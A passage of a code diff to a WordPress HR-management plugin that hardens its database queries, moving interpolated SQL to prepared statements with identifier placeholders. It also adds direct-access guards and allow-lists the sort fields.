+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared

 		$users = _Array::castRecursive( $users );

@@ -223,17 +231,23 @@
 		global $wpdb;

 		$where = '';
+		$args  = array();

 		if ( ! empty( $status ) ) {
-			$where .= $wpdb->prepare( ' AND employment_status=%s', $status );
+			$where .= ' AND employment_status=%s';
+			$args[] = $status;
 		}

 		if ( ! empty( $department_id ) ) {
-			$where .= $wpdb->prepare( ' AND department_id=%d', $department_id );
+			$where .= ' AND department_id=%d';
+			$args[] = $department_id;
 		}

 		$count = $wpdb->get_var(
-			"SELECT COUNT(DISTINCT employee_user_id) FROM {$wpdb->crewhrm_employments} WHERE 1=1 {$where}"
+			$wpdb->prepare(
+				"SELECT COUNT(DISTINCT employee_user_id) FROM {$wpdb->crewhrm_employments} WHERE 1=1 {$where}", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
+				...$args
+			)
 		);

 		return ( int ) $count;
--- a/hr-management/classes/Models/Field.php
+++ b/hr-management/classes/Models/Field.php
@@ -7,6 +7,11 @@

 namespace CrewHRMModels;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_Array;

 /**
@@ -62,16 +67,21 @@
 		global $wpdb;

 		// Prepare select columns and where clause
-		$columns      = is_array( $field ) ? implode( ', ', $field ) : $field;
+		$columns      = is_array( $field ) ? array_values( $field ) : array( $field );
+		$column_place = implode( ', ', array_fill( 0, count( $columns ), '%i' ) );
 		$where_clause = '1=1';
+		$args         = $columns;
+		$args[]       = $this->table;

 		// Loop through conditions
 		foreach ( $where as $col => $val ) {
-			$where_clause .= $wpdb->prepare( " AND {$col}=%s", $val );
+			$where_clause .= ' AND %i=%s';
+			$args[]        = (string) $col;
+			$args[]        = $val;
 		}

 		$row = $wpdb->get_row(
-			"SELECT {$columns} FROM {$this->table} WHERE {$where_clause} LIMIT 1",
+			$wpdb->prepare( 'SELECT ' . $column_place . ' FROM %i WHERE ' . $where_clause . ' LIMIT 1', ...$args ), // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
 			ARRAY_A
 		);

@@ -90,15 +100,18 @@
 	public function getCol( array $where, string $col_name ) {

 		$where_clause = '1=1';
+		$args         = array( $col_name, $this->table );

 		// Loop through conditions
 		foreach ( $where as $col => $val ) {
-			$where_clause .= " AND {$col}='{$val}'";
+			$where_clause .= ' AND %i=%s';
+			$args[]        = (string) $col;
+			$args[]        = $val;
 		}

 		global $wpdb;
 		$col = $wpdb->get_col(
-			"SELECT {$col_name} FROM {$this->table} WHERE {$where_clause}"
+			$wpdb->prepare( 'SELECT %i FROM %i WHERE ' . $where_clause, ...$args ) // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		);

 		return _Array::getArray( $col );
--- a/hr-management/classes/Models/FileManager.php
+++ b/hr-management/classes/Models/FileManager.php
@@ -7,6 +7,10 @@

 namespace CrewHRMModels;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 use CrewHRMHelpers_String;

 /**
@@ -201,32 +205,42 @@
 		global $wpdb;

 		$where_clause = '';
+		$query_args   = array();

 		// Keyword filter
-		$where_clause .= $wpdb->prepare( ' AND post_title LIKE %s', "%{$wpdb->esc_like( $keyword )}%" );
+		$where_clause .= ' AND post_title LIKE %s';
+		$query_args[]  = '%' . $wpdb->esc_like( $keyword ) . '%';

 		// Mime type filter
 		if ( ! empty( $mime ) ) {
-			$where_clause .= $wpdb->prepare( ' AND post_mime_type=%d', $mime );
+			$where_clause .= ' AND post_mime_type=%s';
+			$query_args[]  = $mime;
 		}

 		// Exclude certain IDs from result
 		if ( ! empty( $exclude ) ) {
 			$ids_places    = _String::getPlaceHolders( $exclude );
 			$where_clause .= " AND ID NOT IN ({$ids_places})";
+			$query_args    = array_merge( $query_args, $exclude );
 		}

+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$results = $wpdb->get_results(
-			"SELECT
+			$wpdb->prepare(
+				"SELECT
 				*
 			FROM
-				{$wpdb->posts}
+				%i
 			WHERE
 				post_type = 'attachment'
 				{$where_clause}
-			LIMIT 50",
+			LIMIT 50", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
+				$wpdb->posts,
+				...$query_args
+			),
 			ARRAY_A
 		);
+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber

 		$media_array = array();

--- a/hr-management/classes/Models/Job.php
+++ b/hr-management/classes/Models/Job.php
@@ -7,6 +7,11 @@

 namespace CrewHRMModels;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_Array;
 use CrewHRMHelpers_String;
 use CrewHRMHelpersUtilities;
@@ -54,7 +59,6 @@
 			'experience_level'     => $job['experience_level'] ?? null,
 			'application_deadline' => $deadline,
 			'application_form'     => maybe_serialize( $job['application_form'] ?? array() ),
-			'job_status'           => $job['job_status'] ?? 'draft',
 			'currency'             => $job['currency'] ?? null,
 		);

@@ -239,7 +243,9 @@

 		$field_value = $wpdb->get_var(
 			$wpdb->prepare(
-				"SELECT {$field} FROM {$wpdb->crewhrm_jobs} WHERE job_id=%d",
+				'SELECT %i FROM %i WHERE job_id=%d',
+				$field,
+				$wpdb->crewhrm_jobs,
 				$job_id
 			)
 		);
@@ -259,47 +265,56 @@
 		global $wpdb;

 		// Prepare limit, offset, where conditions
-		$page   = (int) ( $args['page'] ?? 1 );
-		$limit  = $args['limit'] ?? Settings::getSetting( 'job_post_per_page', 20 );
+		$page   = Utilities::getInt( $args['page'] ?? 1, 1 );
+		$limit  = Utilities::getInt( $args['limit'] ?? Settings::getSetting( 'job_post_per_page', 20 ), 1 );
 		$offset = ( $page - 1 ) * $limit;

 		// SQL parts
 		$where_clause = '';
+		$where_args   = array();
 		$order_by     = 'ORDER BY job.created_at DESC ';
 		$limit_clause = 'LIMIT ' . $limit . ' OFFSET ' . $offset;

 		// Apply query filters
 		if ( isset( $args['job_id'] ) ) {
-			$where_clause .= $wpdb->prepare( ' AND job.job_id=%d', $args['job_id'] );
+			$where_clause .= ' AND job.job_id=%d';
+			$where_args[]  = $args['job_id'];
 		}

 		// Apply department filter
 		if ( ! empty( $args['department_id'] ) ) {
-			$dep           = esc_sql( $args['department_id'] );
-			$where_clause .= $wpdb->prepare( ' AND job.department_id=%d', $dep );
+			$where_clause .= ' AND job.department_id=%d';
+			$where_args[]  = $args['department_id'];
 		}

 		// Apply job status
 		if ( ! empty( $args['job_status'] ) ) {
-			$status        = esc_sql( $args['job_status'] );
-			$where_clause .= $wpdb->prepare( ' AND job.job_status=%s', $status );
+			$where_clause .= ' AND job.job_status=%s';
+			$where_args[]  = $args['job_status'];
 		}

 		// Apply search
 		if ( ! empty( $args['search'] ) ) {
-			$where_clause .= $wpdb->prepare( ' AND job.job_title LIKE %s', "%{$wpdb->esc_like( $args['search'] )}%" );
+			$where_clause .= ' AND job.job_title LIKE %s';
+			$where_args[]  = '%' . $wpdb->esc_like( $args['search'] ) . '%';
 		}

 		// If it is for pagination, return only the counts
 		if ( $segmentation ) {

 			$total_count = (int) $wpdb->get_var(
-				"SELECT
+				$wpdb->prepare(// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
+					"SELECT
 					COUNT(job.job_id)
-				FROM {$wpdb->crewhrm_jobs} job
-					LEFT JOIN {$wpdb->crewhrm_departments} department ON job.department_id=department.department_id
-					LEFT JOIN {$wpdb->crewhrm_addresses} address ON job.address_id=address.address_id
-				WHERE 1=1 {$where_clause}"
+				FROM %i job
+					LEFT JOIN %i department ON job.department_id=department.department_id
+					LEFT JOIN %i address ON job.address_id=address.address_id
+				WHERE 1=1 {$where_clause}", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+					$wpdb->crewhrm_jobs,
+					$wpdb->crewhrm_departments,
+					$wpdb->crewhrm_addresses,
+					...$where_args
+				)
 			);

 			$page_count = ceil( $total_count / $limit );
@@ -314,36 +329,44 @@
 		}

 		// So it is not pagination, rather prepare whole job data
+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$jobs = $wpdb->get_results(
+			$wpdb->prepare( // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 			"SELECT
-				job.job_id,
-				job.job_code,
-				job.job_title,
-				job.job_description,
-				job.job_status,
-				job.department_id,
-				job.vacancy,
-				job.address_id,
-				job.currency,
-				job.salary_a,
-				job.salary_b,
-				job.salary_basis,
-				job.employment_type,
-				job.attendance_type,
-				job.experience_level,
-				job.experience_years,
-				job.application_form,
-				UNIX_TIMESTAMP(job.application_deadline) AS application_deadline,
-				UNIX_TIMESTAMP(job.created_at) AS created_at,
-				UNIX_TIMESTAMP(job.updated_at) AS updated_at,
-				department.department_name,
-				address.*
-			FROM {$wpdb->crewhrm_jobs} job
-				LEFT JOIN {$wpdb->crewhrm_departments} department ON job.department_id=department.department_id
-				LEFT JOIN {$wpdb->crewhrm_addresses} address ON job.address_id=address.address_id
+			job.job_id,
+			job.job_code,
+			job.job_title,
+			job.job_description,
+			job.job_status,
+			job.department_id,
+			job.vacancy,
+			job.address_id,
+			job.currency,
+			job.salary_a,
+			job.salary_b,
+			job.salary_basis,
+			job.employment_type,
+			job.attendance_type,
+			job.experience_level,
+			job.experience_years,
+			job.application_form,
+			UNIX_TIMESTAMP(job.application_deadline) AS application_deadline,
+			UNIX_TIMESTAMP(job.created_at) AS created_at,
+			UNIX_TIMESTAMP(job.updated_at) AS updated_at,
+			department.department_name,
+			address.*
+			FROM %i job
+				LEFT JOIN %i department ON job.department_id=department.department_id
+				LEFT JOIN %i address ON job.address_id=address.address_id
 			WHERE 1=1 {$where_clause} {$order_by} {$limit_clause}",
+			$wpdb->crewhrm_jobs,
+			$wpdb->crewhrm_departments,
+			$wpdb->crewhrm_addresses,
+			...$where_args
+			),
 			ARRAY_A
 		);
+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber

 		// No need further data if it's empty
 		if ( empty( $jobs ) ) {
@@ -398,8 +421,9 @@
 		$selects           = 'job.job_id, job.job_title, job.employment_type, address.*';
 		$limit             = Utilities::getInt( $args['limit'] ?? Settings::getSetting( 'job_post_per_page', 20 ), 1, 20 );
 		$offset            = ( Utilities::getInt( $args['page'] ?? 1, 1 ) - 1 ) * $limit;
-		$limit_clause      = " LIMIT {$limit} OFFSET {$offset}";
-		$where_clause      = "job.job_status='publish'";
+		$limit_clause      = ' LIMIT ' . $limit . ' OFFSET ' . $offset;
+		$where_clause      = 'job.job_status=%s';
+		$where_args        = array( 'publish' );
 		$department_clause = '';

 		global $wpdb;
@@ -407,35 +431,46 @@
 		// Add department filter
 		if ( ! empty( $args['department_id'] ) ) {
 			// Keep it in different clause in favour of group by query later.
-			$department_clause .= $wpdb->prepare( ' AND job.department_id=%d', $args['department_id'] );
+			$department_clause .= ' AND job.department_id=%d';
+			$where_args[]       = $args['department_id'];
 		}

 		// Add search filter
 		if ( ! empty( $args['search'] ) ) {
-			$where_clause .= $wpdb->prepare( ' AND job.job_title LIKE %s', "%{$wpdb->esc_like( $args['search'] )}%" );
+			$where_clause .= ' AND job.job_title LIKE %s';
+			$where_args[]  = '%' . $wpdb->esc_like( $args['search'] ) . '%';
 		}

 		// Add country filter
 		if ( ! empty( $args['country_code'] ) ) {
-			$where_clause .= $wpdb->prepare( ' AND address.country_code=%s', $args['country_code'] );
+			$where_clause .= ' AND address.country_code=%s';
+			$where_args[]  = $args['country_code'];
 		}

 		// Add employment_type filter
 		if ( ! empty( $args['employment_type'] ) ) {
 			// Like operator because multiple types get stored as serialized array.
-			$where_clause .= $wpdb->prepare( ' AND job.employment_type LIKE %s', "%{$wpdb->esc_like( $args['employment_type'] )}%" );
+			$where_clause .= ' AND job.employment_type LIKE %s';
+			$where_args[]  = '%' . $wpdb->esc_like( $args['employment_type'] ) . '%';
 		}

 		// Otherwise prepare other meta data
+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$jobs = $wpdb->get_results(
+			$wpdb->prepare( // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 			"SELECT
 				DISTINCT {$selects}
-			FROM {$wpdb->crewhrm_jobs} job
-				LEFT JOIN {$wpdb->crewhrm_addresses} address ON job.address_id=address.address_id
+			FROM %i job
+				LEFT JOIN %i address ON job.address_id=address.address_id
 			WHERE
 				{$where_clause} {$department_clause} {$limit_clause}",
+			$wpdb->crewhrm_jobs,
+			$wpdb->crewhrm_addresses,
+			...$where_args
+			),
 			ARRAY_A
 		);
+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$jobs = _Array::getArray( $jobs );
 		$jobs = _Array::indexify( $jobs, 'job_id' );
 		$jobs = Meta::job( null )->assignBulkMeta( $jobs );
@@ -446,19 +481,27 @@
 		}

 		// Get departments
+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$departments = $wpdb->get_results(
+			$wpdb->prepare( // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 			"SELECT
 				job.department_id,
 				d.department_name,
 				COUNT(job.job_id) AS job_count
-			FROM {$wpdb->crewhrm_jobs} job
-				LEFT JOIN $wpdb->crewhrm_addresses address ON job.address_id=address.address_id
-				INNER JOIN {$wpdb->crewhrm_departments} d ON d.department_id=job.department_id
+			FROM %i job
+				LEFT JOIN %i address ON job.address_id=address.address_id
+				INNER JOIN %i d ON d.department_id=job.department_id
 			WHERE {$where_clause}
 			GROUP BY d.department_id
 			ORDER BY d.sequence",
+			$wpdb->crewhrm_jobs,
+			$wpdb->crewhrm_addresses,
+			$wpdb->crewhrm_departments,
+			...$where_args
+			),
 			ARRAY_A
 		);
+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$departments = _Array::getArray( $departments );

 		return array(
--- a/hr-management/classes/Models/Mailer.php
+++ b/hr-management/classes/Models/Mailer.php
@@ -7,6 +7,11 @@

 namespace CrewHRMModels;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_Array;
 use CrewHRMHelpers_String;
 use CrewHRMHelpersFile;
--- a/hr-management/classes/Models/Meta.php
+++ b/hr-management/classes/Models/Meta.php
@@ -7,6 +7,11 @@

 namespace CrewHRMModels;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_Array;
 use CrewHRMHelpers_String;

@@ -90,21 +95,33 @@
 	 * Get single meta value by object id and meta key
 	 *
 	 * @param string $meta_key Optional meta key to get specific. Otherwise all.
+	 * @param mixed  $fallback Fallback value when meta key does not exist.
 	 * @return mixed
 	 */
 	public function getMeta( $meta_key = null, $fallback = null ) {
 		global $wpdb;

 		$is_singular  = ! empty( $meta_key );
-		$where_clause = $is_singular ? $wpdb->prepare( ' AND meta_key=%s', $meta_key ) : '';
-
-		$results = $wpdb->get_results(
-			$wpdb->prepare(
-				"SELECT meta_key, meta_value FROM {$this->table} WHERE object_id=%d {$where_clause}",
-				$this->object_id
-			),
-			ARRAY_A
-		);
+		if ( $is_singular ) {
+			$results = $wpdb->get_results(
+				$wpdb->prepare(
+					'SELECT meta_key, meta_value FROM %i WHERE object_id=%d AND meta_key=%s',
+					$this->table,
+					$this->object_id,
+					$meta_key
+				),
+				ARRAY_A
+			);
+		} else {
+			$results = $wpdb->get_results(
+				$wpdb->prepare(
+					'SELECT meta_key, meta_value FROM %i WHERE object_id=%d',
+					$this->table,
+					$this->object_id
+				),
+				ARRAY_A
+			);
+		}

 		// New array
 		$_meta = array();
@@ -134,7 +151,8 @@
 		// Check if the meta exists already
 		$exists = $wpdb->get_var(
 			$wpdb->prepare(
-				"SELECT meta_key FROM {$this->table} WHERE object_id=%d AND meta_key=%s LIMIT 1",
+				'SELECT meta_key FROM %i WHERE object_id=%d AND meta_key=%s LIMIT 1',
+				$this->table,
 				$this->object_id,
 				$meta_key
 			)
@@ -170,7 +188,7 @@
 	/**
 	 * Update bulk meta
 	 *
-	 * @param array $meta_array
+	 * @param array $meta_array Meta key-value pair array to update.
 	 *
 	 * @return void
 	 */
@@ -219,18 +237,22 @@

 		$object_ids = array_values( $object_ids );
 		$ids_places = _String::getPlaceHolders( $object_ids );
-		$meta_key   = $meta_key ? esc_sql( $meta_key ) : null;
-		$key_clause = $meta_key ? $wpdb->prepare( ' AND meta_key=%s', $meta_key ) : '';
-
-		$wpdb->query(
-			$wpdb->prepare(
-				"DELETE FROM
-					{$this->table}
-				WHERE
-					object_id IN ({$ids_places}) {$key_clause}",
-				...$object_ids
-			)
-		);
+		if ( null !== $meta_key ) {
+			$wpdb->query(
+				$wpdb->prepare(// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
+					'DELETE FROM %i WHERE object_id IN (' . $ids_places . ') AND meta_key=%s', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+					...array_merge( array( $this->table ), $object_ids, array( $meta_key ) )
+				)
+			);
+		} else {
+			$wpdb->query(
+				$wpdb->prepare(// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
+					'DELETE FROM %i WHERE object_id IN (' . $ids_places . ')', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+					$this->table,
+					...$object_ids
+				)
+			);
+		}
 	}

 	/**
@@ -245,22 +267,30 @@

 		$objects    = _Array::appendColumn( $objects, 'meta', (object) array() );
 		$obj_ids    = array_values( _Array::getArray( array_keys( $objects ), false, 0 ) );
+		if ( empty( $obj_ids ) ) {
+			return $objects;
+		}
 		$ids_places = _String::getPlaceHolders( $obj_ids );

-		$where_clause = '';
 		if ( $meta_key ) {
-			$key           = esc_sql( $meta_key );
-			$where_clause .= $wpdb->prepare( ' AND meta_key=%s', $key );
+				$meta = $wpdb->get_results(
+					$wpdb->prepare(// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
+						'SELECT * FROM %i WHERE object_id IN (' . $ids_places . ') AND meta_key=%s', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+						...array_merge( array( $this->table ), $obj_ids, array( $meta_key ) )
+					),
+					ARRAY_A
+				);
+		} else {
+			$meta = $wpdb->get_results(
+				$wpdb->prepare(// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
+					'SELECT * FROM %i WHERE object_id IN (' . $ids_places . ')', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+					$this->table,
+					...$obj_ids
+				),
+				ARRAY_A
+			);
 		}

-		$meta = $wpdb->get_results(
-			$wpdb->prepare(
-				"SELECT * FROM {$this->table} WHERE object_id IN ({$ids_places}) {$where_clause}",
-				...$obj_ids
-			),
-			ARRAY_A
-		);
-
 		foreach ( $meta as $m ) {
 			$_key   = $m['meta_key'];
 			$_value = _String::maybe_unserialize( $m['meta_value'] );
@@ -283,7 +313,8 @@

 		$meta_data = $wpdb->get_results(
 			$wpdb->prepare(
-				"SELECT meta_key, meta_value FROM {$this->table} WHERE object_id=%d",
+				'SELECT meta_key, meta_value FROM %i WHERE object_id=%d',
+				$this->table,
 				$this->object_id
 			),
 			ARRAY_A
--- a/hr-management/classes/Models/Pipeline.php
+++ b/hr-management/classes/Models/Pipeline.php
@@ -7,6 +7,11 @@

 namespace CrewHRMModels;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_Array;

 /**
@@ -70,25 +75,27 @@
 		);

 		// --------------- Add application stage changes ---------------
+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 		$logs = $wpdb->get_results(
-			$wpdb->prepare(
+			$wpdb->prepare( // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 				"SELECT
 					pipe.application_id,
 					pipe.stage_id,
-					pipe.action_taker_id,
-					UNIX_TIMESTAMP(pipe.action_date) AS timestamp,
-					stage.stage_name,
-					_user.display_name AS action_taker_name
-				FROM
-					{$wpdb->crewhrm_pipeline} pipe
-					LEFT JOIN {$wpdb->crewhrm_stages} stage ON pipe.stage_id=stage.stage_id
-					LEFT JOIN {$wpdb->users} _user ON pipe.action_taker_id COLLATE $wp_collate=_user.ID
-				WHERE
-					pipe.application_id=%d",
-				$application_id
+				pipe.action_taker_id,
+				UNIX_TIMESTAMP(pipe.action_date) AS timestamp,
+				stage.stage_name,
+				_user.display_name AS action_taker_name
+			FROM
+				{$wpdb->crewhrm_pipeline} pipe
+				LEFT JOIN {$wpdb->crewhrm_stages} stage ON pipe.stage_id=stage.stage_id
+				LEFT JOIN {$wpdb->users} _user ON pipe.action_taker_id COLLATE $wp_collate=_user.ID
+			WHERE
+				pipe.application_id=%d",
+			$application_id
 			),
 			ARRAY_A
 		);
+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared

 		// Loop through stage changes log and put to the combined pipeline array
 		foreach ( $logs as $log ) {
--- a/hr-management/classes/Models/Settings.php
+++ b/hr-management/classes/Models/Settings.php
@@ -7,6 +7,11 @@

 namespace CrewHRMModels;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_Array;
 use CrewHRMHelpers_String;
 use CrewHRMHelpersFile;
--- a/hr-management/classes/Models/Stage.php
+++ b/hr-management/classes/Models/Stage.php
@@ -7,6 +7,11 @@

 namespace CrewHRMModels;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_Array;
 use CrewHRMHelpers_String;

@@ -149,8 +154,9 @@

 		global $wpdb;
 		$stages = $wpdb->get_results(
-			$wpdb->prepare(
-				"SELECT * FROM {$wpdb->crewhrm_stages} WHERE job_id IN ({$ids_places}) ORDER BY sequence",
+			$wpdb->prepare(// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
+				'SELECT * FROM %i WHERE job_id IN (' . $ids_places . ') ORDER BY sequence', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+				$wpdb->crewhrm_stages,
 				...$ids_in
 			),
 			ARRAY_A
@@ -297,47 +303,55 @@
 		global $wpdb;

 		$order_by = $args['order_by'] ?? 'application_date';
-		$order    = $args['order'] ?? 'DESC';
+		$order    = strtoupper( $args['order'] ?? 'DESC' );
+		$allowed_order_by = array( 'application_date', 'application_id', 'first_name', 'last_name' );
+		$order_by = in_array( $order_by, $allowed_order_by, true ) ? $order_by : 'application_date';
+		$order    = in_array( $order, array( 'ASC', 'DESC' ), true ) ? $order : 'DESC';
 		$limit    = $args['limit'] ?? 2;
 		$offset   = ( ( $args['page'] ?? 1 ) - 1 ) * $limit;

 		$where_clause = '';
+		$where_args   = array();

 		if ( ! empty( $args['job_id'] ) ) {
-			$where_clause .= $wpdb->prepare( ' AND job_id=%d', $args['job_id'] );
+			$where_clause .= ' AND job_id=%d';
+			$where_args[]  = $args['job_id'];
 		}

 		if ( ! empty( $args['stage_id'] ) ) {
-			$where_clause .= $wpdb->prepare( ' AND stage_id=%d', $args['stage_id'] );
+			$where_clause .= ' AND stage_id=%d';
+			$where_args[]  = $args['stage_id'];
 		}

+		$query_args = array_merge( array( $wpdb->crewhrm_applications ), $where_args, array( $limit, $offset ) );
+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$applications = $wpdb->get_results(
-			$wpdb->prepare(
+			$wpdb->prepare( // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 				"SELECT
 					application_id,
-					job_id,
-					stage_id,
-					address_id,
-					first_name,
-					last_name,
-					email,
-					phone,
-					date_of_birth,
-					gender,
-					cover_letter,
-					resume_file_id,
-					is_complete,
-					UNIX_TIMESTAMP(application_date) AS application_date
+				job_id,
+				stage_id,
+				address_id,
+				first_name,
+				last_name,
+				email,
+				phone,
+				date_of_birth,
+				gender,
+				cover_letter,
+				resume_file_id,
+				is_complete,
+				UNIX_TIMESTAMP(application_date) AS application_date
 				FROM
-					{$wpdb->crewhrm_applications}
+					%i
 				WHERE
 					1=1 {$where_clause}
 				ORDER BY {$order_by} {$order} LIMIT %d OFFSET %d",
-				$limit,
-				$offset
+				...$query_args
 			),
 			ARRAY_A
 		);
+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber

 		return _Array::castRecursive( $applications );
 	}
@@ -361,6 +375,7 @@

 		// Get application counts per stage per job.
 		global $wpdb;
+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$counts = $wpdb->get_results(
 			$wpdb->prepare(
 				"SELECT
@@ -368,14 +383,16 @@
 					stage_id,
 					COUNT(application_id) as candidates
 				FROM
-					{$wpdb->crewhrm_applications}
+					%i
 				WHERE
 					job_id IN ({$ids_places})
 				GROUP BY job_id, stage_id",
+				$wpdb->crewhrm_applications,
 				...$job_ids
 			),
 			ARRAY_A
 		);
+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber

 		if ( empty( $counts ) ) {
 			return array();
@@ -397,6 +414,7 @@

 		// Get the stages sequence to sort.
 		// Exclude disqualified as it is used in special way and has no usage in frontend view.
+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$sequences = $wpdb->get_results(
 			$wpdb->prepare(
 				"SELECT
@@ -405,14 +423,16 @@
 					stage_name,
 					sequence
 				FROM
-					{$wpdb->crewhrm_stages}
+					%i
 				WHERE job_id IN ({$ids_places})
 					AND stage_name!='_disqualified_'
 				ORDER BY sequence",
+				$wpdb->crewhrm_stages,
 				...$job_ids
 			),
 			ARRAY_A
 		);
+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$sequences = _Array::castRecursive( $sequences );

 		// Generate new stage array per job based on sequence order
--- a/hr-management/classes/Models/User.php
+++ b/hr-management/classes/Models/User.php
@@ -105,12 +105,26 @@

 		global $wpdb;

-		$keyword    = esc_sql( $keyword );
+		$keyword    = sanitize_text_field( $keyword );
 		$skip_ids   = array_values( _Array::getArray( $skip_ids, false, 0 ) );
 		$ids_places = _String::getPlaceHolders( $skip_ids );
+		$role_clause = ! empty( $role ) ? ' AND _meta.meta_value=%s' : '';
+		$query_args  = array(
+			self::META_KEY_CREW_FLAG,
+			$keyword,
+			$keyword,
+			$keyword,
+			'%' . $wpdb->esc_like( $keyword ) . '%',
+			'%' . $wpdb->esc_like( $keyword ) . '%',
+		);
+
+		if ( ! empty( $role ) ) {
+			$query_args[] = $role;
+		}

-		$role_clause = ! empty( $role ) ? $wpdb->prepare( ' AND _meta.meta_value=%s', $role ) : '';
+		$query_args = array_merge( $query_args, $skip_ids );

+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$users = $wpdb->get_results(
 			$wpdb->prepare(
 				"SELECT
@@ -128,20 +142,15 @@
 						OR _user.display_name LIKE %s
 						OR _user.user_nicename LIKE %s
 					)
-					AND _user.ID NOT IN ({$ids_places})
-					{$role_clause}
-				LIMIT 50",
-				self::META_KEY_CREW_FLAG,
-				$keyword,
-				$keyword,
-				$keyword,
-				"%{$wpdb->esc_like( $keyword )}%",
-				"%{$wpdb->esc_like( $keyword )}%",
-				...$skip_ids
-			),
-			ARRAY_A
-		);
+						AND _user.ID NOT IN ({$ids_places})
+						{$role_clause}
+					LIMIT 50",
+					...$query_args
+				),
+				ARRAY_A
+			);

+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$users_array = array();

 		// Convert to generic data structure in favour of instant search component
@@ -339,74 +348,98 @@
 		$wp_collate = $wpdb->collate;

 		$where_clause = '';
+		$where_args   = array();

 		// Search employee by keyword
 		if ( ! empty( $args['search'] ) ) {
-			$where_clause .= $wpdb->prepare( ' AND _user.display_name LIKE %s', "%{$wpdb->esc_like( $args['search'] )}%" );
+			$where_clause .= ' AND _user.display_name LIKE %s';
+			$where_args[]  = '%' . $wpdb->esc_like( $args['search'] ) . '%';
 		}

 		// Get by department ID
 		if ( ! empty( $args['department_id'] ) ) {
-			$where_clause .= $wpdb->prepare( ' AND _employment.department_id=%d', $args['department_id'] );
+			$where_clause .= ' AND _employment.department_id=%d';
